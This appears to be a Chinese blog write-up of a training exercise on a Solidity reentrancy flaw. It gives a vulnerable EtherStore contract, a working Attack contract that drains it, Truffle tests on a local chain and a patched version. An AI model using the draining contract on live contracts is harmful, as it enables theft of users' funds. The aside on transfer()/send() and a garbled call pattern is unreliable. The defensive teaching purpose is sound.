赞
踩
第一套题的智能合约安全漏洞测试题目
环境 : ubuntu20
Truffle v5.8.3 (core: 5.8.3)
Ganache v7.8.0
Solidity v0.8.3
Node v18.16.0
Web3.js v1.8.2
漏洞合约代码
// 声明此智能合约使用 Solidity 语言版本大于等于 0.8.3 的特性。
pragma solidity >=0.8.3;
// 定义了一个名为 EtherStore 的智能合约,其功能类似于一个简单的存款合约。
contract EtherStore {
// 定义一个映射,键为地址类型,值为无符号整数类型,用于记录每个地址的余额
mapping(address => uint) public balances;
// 公开可支付的函数deposit,允许用户向合约发送以太币,从而增加其在合约内的余额
function deposit() public payable {
// 更新发送者(msg.sender)的余额,将其现有余额加上交易中附带的以太币数量(msg.value)
balances[msg.sender] += msg.value;
// 触发一个名为Balance的事件,传递当前发送者的最新余额
emit Balance(balances[msg.sender]);
}
// 公开函数withdraw,允许用户从合约中提取他们的以太币
function withdraw() public {
// 获取发送者(msg.sender)在合约中的当前余额
uint bal = balances[msg.sender];
// 检查余额是否大于0,确保有足够的余额可以提取
require(bal > 0);
// 尝试直接向发送者地址转账余额,sent表示转账是否成功
(bool sent, ) = msg.sender.call{value: bal}("");
// 如果转账失败,require语句抛出异常
require(sent, "Failed to send Ether");
// 提款成功后,将发送者的合约内余额置为0
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
// 辅助函数getBalance,用于查看当前合约的以太币余额
function getBalance() public view returns (uint) {
// 返回合约自身地址的当前以太币余额
return address(this).balance;
}
}
contract Attack {
// 声明一个公开的EtherStore类型的变量etherStore,用于引用EtherStore合约实例
EtherStore public etherStore;
// 构造函数,在部署Attack合同时需要传入EtherStore合约地址
constructor(address _etherStoreAddress) {
// 将EtherStore合约实例赋值给etherStore变量
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
// 当EtherStore合约向本合约发送以太币时,触发的回退函数
fallback() external payable {
// 如果EtherStore合约内的余额大于等于1个以太币
if (address(etherStore).balance >= 1) {
// 调用EtherStore合约的withdraw函数尝试提取所有以太币
etherStore.withdraw();
}
}
// 攻击函数attack,要求调用者支付至少1个以太币
function attack() external payable {
// 确保调用者支付的金额不少于1个以太币
require(msg.value >= 1);
// 向EtherStore合约存入1个以太币
etherStore.deposit{value: 1}();
// 马上从EtherStore合约中提取所有的以太币
etherStore.withdraw();
}
// Helper function to check the balance of this contract
// 辅助函数getBalance,用于查看当前Attack合约的以太币余额
function getBalance() public view returns (uint) {
// 返回Attack合约自身的以太币余额
return address(this).balance;
}
}
EtherStore合约是一个简单的储蓄合约,用户可以存入和提取以太币。
Attack合约是针对 EtherStore 合约设计的,它包含了一个构造函数来引用目标 EtherStore 合约,并提供了一个 attack 函数,试图通过先存入再立即提取的方式来操纵 EtherStore 合约的资金流动,可能存在重入攻击的风险(即在 EtherStore 合约内部调用外部函数的过程中反复执行 withdraw 函数)。此外,Attack 合约还具有一个回退函数,当接收到来自 EtherStore 的以太币时,会尝试提取其中的所有资金。
展开:
基于之前对两个合约的解释,我们进一步讨论潜在的安全问题与攻击策略:
EtherStore 合约安全问题:
withdraw()
函数中,合约直接调用了 msg.sender.call{value: bal}("")
来转移资金。这意味着在转账操作完成前,合约状态未被更新(余额尚未清零),此时如果目标地址是一个智能合约且该合约有回调到 EtherStore
的函数,就可能发生重入攻击。Attack
合约正是利用了这个漏洞,在 fallback()
函数中不断提取 EtherStore 中的余额。Attack 合约攻击策略:
Attack
合约设计了一个 attack()
函数,其目的是为了从目标 EtherStore
合约中尽可能多地提取资金。首先,它要求调用者至少支付1个以太币。接着,它执行以下步骤:
EtherStore
合约。EtherStore
合约的 withdraw()
函数提取资金。由于存在重入漏洞,Attack
合约的 fallback()
函数会被触发,不断地尝试提取 EtherStore
中剩余的所有余额。因此,Attack
合约展示了一种典型的重入攻击方式,它暴露了 EtherStore
合约中存在的安全缺陷,并试图从中获利。为了避免这种攻击,EtherStore
合约在实现转账功能时应采用“检查-Effects-Interactions”(checks-effects-interactions)模式或者使用 transfer()
或 send()
函数(但请注意,这两个函数不会阻止重入攻击,只有在 Solidity 0.8.0 及以上版本引入的 call{value: ...}(gas(), ...) pattern
并在调用后更新余额才能有效防止重入攻击)。另外,也可以采用非递归锁或其他形式的状态管理机制来确保在处理转账前后状态的一致性。
该合约存在重入攻击问题,其EtherStore 合约的withdraw方法,由于调用转账合约的需要进行回调,所以账户的余额还没修改,但是攻击合约Attack 的回调方法又继续调用 **etherStore.withdraw();**导致重复提现从而攻击者能偷取到别的账户存储在该合约的以太币。
(2)根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞;
truffle 项目的目录结构
1_etherstore_deploy.js 部署文件
// 导入要部署的智能合约编译后的 ABI 和字节码
var EtherStore = artifacts.require("./EtherStore.sol");
var Attack = artifacts.require("./Attack.sol");
// 定义一个迁移函数,该函数将在部署时被执行
module.exports = function(deployer,network, accounts) {
// 使用deployer对象部署EtherStore合约
deployer.deploy(EtherStore).then(function() {
// 当EtherStore合约部署完成后,打印出其在区块链上的地址
console.log("EtherStore deployed at: " + EtherStore.address);
// 部署Attack合约,并将EtherStore合约的地址作为构造函数参数传入
// 这意味着Attack合约部署时就知道EtherStore合约的位置并可以与其交互
return deployer.deploy(Attack,EtherStore.address);
});
};
整体流程概括:
artifacts.require
方法导入已经编译好的智能合约 EtherStore.sol
和 Attack.sol
的实例。deployer
(用于部署合约的工具)、network
(当前运行的网络环境信息)和 accounts
(一组预设的以太坊账户)。deployer.deploy(EtherStore)
部署 EtherStore
合约。EtherStore
合约后,通过 .then
方法获取部署完成事件,打印出 EtherStore
合约部署到区块链上的具体地址。Attack
合约,并在调用 deployer.deploy(Attack, EtherStore.address)
时传递 EtherStore
的地址作为构造函数参数,以便 Attack
合约能够知道并针对特定的 EtherStore
实例进行操作。TestEtherStore.js
这段代码是在以太坊智能合约开发环境中使用的JavaScript测试脚本,主要用于测试针对EtherStore
合约的安全性。以下是详细的逐行翻译和解释:
const EtherStore = artifacts.require("EtherStore"); // 导入编译后的EtherStore智能合约
const Attack = artifacts.require("Attack"); // 导入编译后的Attack智能合约
contract('EthStore合约攻击',(accounts)=>{ // 定义一个名为'EthStore合约攻击'的测试合同,并接收一个名为accounts的数组参数
it('例子1',async()=>{ // 定义一个异步的Mocha测试用例,名为'例子1'
// 部署两个合约,获取合约实例
const eth = await EtherStore.deployed(); // 获取EtherStore合约部署后的实例
const att = await Attack.deployed(); // 获取Attack合约部署后的实例
// 使用账户0、1、2、3向Ether合约存入资金
const a0 = accounts[0]; // 获取第一个账户地址
const a1 = accounts[1]; // 获取第二个账户地址
const a2 = accounts[2]; // 获取第三个账户地址
const a3 = accounts[3]; // 获取第四个账户地址
await eth.deposit({from: a0, value: 10}); // 使用账户0向EtherStore合约存入10单位货币
await eth.deposit({from: a1, value: 10}); // 使用账户1向EtherStore合约存入10单位货币
await eth.deposit({from: a2, value: 10}); // 使用账户2向EtherStore合约存入10单位货币
await eth.deposit({from: a3, value: 10}); // 使用账户3向EtherStore合约存入10单位货币
// 获取Ether合约当前的余额
const oldMoney = await eth.getBalance();
console.log("当前Ether合约余额" + oldMoney); // 输出当前EtherStore合约的余额
// 获取Attack合约当前的余额
const oldAttackMoney = await att.getBalance();
console.log("当前Attack合约余额" + oldAttackMoney); // 输出当前Attack合约的余额
console.log("开始攻击"); // 输出提示信息
await att.attack({from: a0, value: 5}); // 使用账户0通过Attack合约发起攻击,并传送5单位货币
console.log("攻击结束"); // 输出提示信息
const attackMoney = await att.getBalance(); // 获取攻击后Attack合约的余额
console.log("攻击合约余额" + attackMoney); // 输出攻击后Attack合约的余额
const eMoney = await eth.getBalance(); // 获取攻击后EtherStore合约的余额
console.log("当前合约余额" + eMoney); // 输出攻击后EtherStore合约的余额
console.log(eMoney); // 再次输出攻击后EtherStore合约的余额
console.log("" + eMoney); // 空字符串连接eMoney再次输出
// 断言判断,确保攻击后EtherStore合约的余额不为零
assert.notEqual(eMoney + "", "0", "合约已经被攻击,所有币都被拿走了"); // 如果余额为零,测试失败并输出错误消息
});
});
总结:
这段代码的主要目的是测试EtherStore
合约在面临Attack
合约攻击时的安全性。首先,它部署了EtherStore
和Attack
两个智能合约并获取了它们的实例。接着,使用几个预先设定的账户向EtherStore
合约存入一定数量的虚拟货币。然后,在发起攻击前记录EtherStore
和Attack
合约的初始余额。之后,使用Attack
合约发起攻击,并在攻击结束后重新获取两者余额。最后,通过断言检查EtherStore
合约余额是否因攻击而减少至零,以验证合约是否存在安全性问题。
在truffle项目的目录下执行 truffle test命令
当前Ether合约余额40
当前Attack合约余额0
开始攻击
攻击结束
攻击合约余额45
当前合约余额0
0 passing (5s)
1 failing
1) Contract: EthStore合约攻击
例子1:
合约已经被攻击,所有币都被拿走了
+ expected - actual
at Context.<anonymous> (test/TestEtherStore.js:38:12)
at processTicksAndRejections (node:internal/process/task_queues:95:5)
可以看到攻击合约已将之前四个账户存的钱全部拿到并存入自己的攻击合约里面了
对于原合约的修改如下
pragma solidity >=0.8.3;
// 行1:声明此智能合约源码遵循Solidity语言规范,且要求编译器版本至少为0.8.3。
contract EtherStore { // 行3:定义一个名为EtherStore的智能合约
// 定义一个映射数据结构,键为地址类型,值为无符号整数类型(uint),用于存储每个地址的余额。这个变量对所有外部用户可见。
mapping(address => uint) public balances;
// 定义一个事件Balance,当触发时会发出一个索引化的uint类型的日志,通常用来通知监听者有关余额变化的信息。
event Balance(uint indexed _value);
// 函数deposit,公开可调用,允许用户向合约发送以太币,增加相应地址的余额,并触发Balance事件。
function deposit() public payable {
balances[msg.sender] += msg.value; // 更新发送者的余额,加上发送过来的以太币金额
emit Balance(balances[msg.sender]); // 触发Balance事件,传递当前发送者的新余额
}
// 函数withdraw,公开可调用,允许用户从合约中提取他们的以太币余额。
function withdraw() public {
uint bal = balances[msg.sender]; // 获取发送者在合约中的余额
require(bal > 0, "Insufficient balance."); // 检查余额是否大于0,若不足则停止执行
balances[msg.sender] = 0; // 将发送者的余额清零
(bool success, ) = msg.sender.call{value: bal}(""); // 向发送者地址直接转账,传入他们原本的余额
require(success, "Failed to send Ether"); // 确保转账成功,否则抛出异常
}
// 辅助函数getBalance,公开可调用,只读视图函数,用于查询合约本身的以太币余额。
function getBalance() public view returns (uint) {
return address(this).balance; // 返回当前合约地址的以太币余额
}
}
总结:
该智能合约 EtherStore
的主要功能是作为一个简单的储蓄合约,允许用户存款和取款以太币。具体来说:
存款:用户可以通过调用 deposit
函数向合约发送以太币,合约会更新对应用户地址的余额,并触发一个表示余额变动的 Balance
事件。
取款:用户可以调用 withdraw
函数提取他们在合约中的以太币余额,合约首先检查余额是否充足,然后将用户的余额清零,并尝试将余额转回给用户。如果转账失败,则会抛出异常。
查询余额:通过 getBalance
函数,用户或其他智能合约可以查看当前合约自身的以太币余额,而不是单个用户的余额。
就是先修改账户余额,再转账
这样就算攻击合约在支付回调方法再调用此方法,由于账户余额修改了,就通过不了转账判断,就会攻击失败。
攻击合约不变
部署js文件1_etherstore_deploy.js不变
再进行测试
测试文件修改成如下代码
这段代码是用来测试基于Mocha和Chai框架的以太坊智能合约测试脚本,它针对两个智能合约EtherStore
和 Attack
进行交互测试。下面是逐行翻译和解释:
// 导入已经部署在区块链上的智能合约编译后的Artifacts对象
const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");
// 定义针对EtherStore合约的Mocha测试套件
contract('EtherStore', (accounts) => {
it('测试EtherStore合约遭受攻击的情况', async () => {
// 获取已部署的EtherStore和Attack合约实例
const eth = await EtherStore.deployed();
const att = await Attack.deployed();
// 使用测试环境提供的前四个账户分别向EtherStore合约存入10单位的以太币
const a0 = accounts[0];
const a1 = accounts[1];
const a2 = accounts[2];
const a3 = accounts[3];
await eth.deposit({ from: a0, value: 10 });
await eth.deposit({ from: a1, value: 10 });
await eth.deposit({ from: a2, value: 10 });
await eth.deposit({ from: a3, value: 10 });
// 记录EtherStore合约当前的以太币余额
const oldMoney = await eth.getBalance();
console.log("当前EtherStore合约余额:" + oldMoney);
// 记录Attack合约初始的以太币余额
const oldAttackMoney = await att.getBalance();
console.log("当前Attack合约余额:" + oldAttackMoney);
console.log("开始攻击EtherStore合约");
// 尝试执行Attack合约发起的攻击动作,可能引发异常
try {
await att.attack({ from: a0, value: 5 });
} catch (error) {
// 如果攻击过程出现错误,则打印错误消息
console.error('攻击失败,抛出了异常');
}
console.log("攻击结束");
// 攻击结束后,记录Attack合约新的以太币余额
const attackMoney = await att.getBalance();
console.log("攻击合约(Attack)当前余额:" + attackMoney);
// 记录EtherStore合约被攻击后的以太币余额
const eMoney = await eth.getBalance();
console.log("当前EtherStore合约余额:" + eMoney);
});
});
总结:
这段代码定义了一个针对EtherStore
智能合约的单元测试,首先初始化并存入一定量的以太币到该合约中,随后调用另一个名为Attack
的智能合约对EtherStore
发起攻击。测试过程中捕获任何可能因攻击而抛出的异常,并在攻击前后分别检查EtherStore
和Attack
两个合约的以太币余额变化情况,从而评估攻击是否成功以及对EtherStore
合约的影响。
再次执行truffle test命令
结果如下
Contract: EtherStore
当前Ether合约余额40
当前Attack合约余额0
开始攻击
攻击失败,抛异常了
攻击结束
攻击合约余额0
当前合约余额40
✔ EthStore合约攻击 (344ms)
1 passing (423ms)
说明攻击失败,合约里的其他账户的以太币并未被攻击合约拿走
结语
此题,关键在于是否熟悉合约的转账操作流程,而其重入攻击是转账操作的老漏洞了,大家写合约都会考量每次转账是否会从在重入攻击。
其次是truffle的测试文件和部署文件编写是否熟悉,供大家学习参考
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。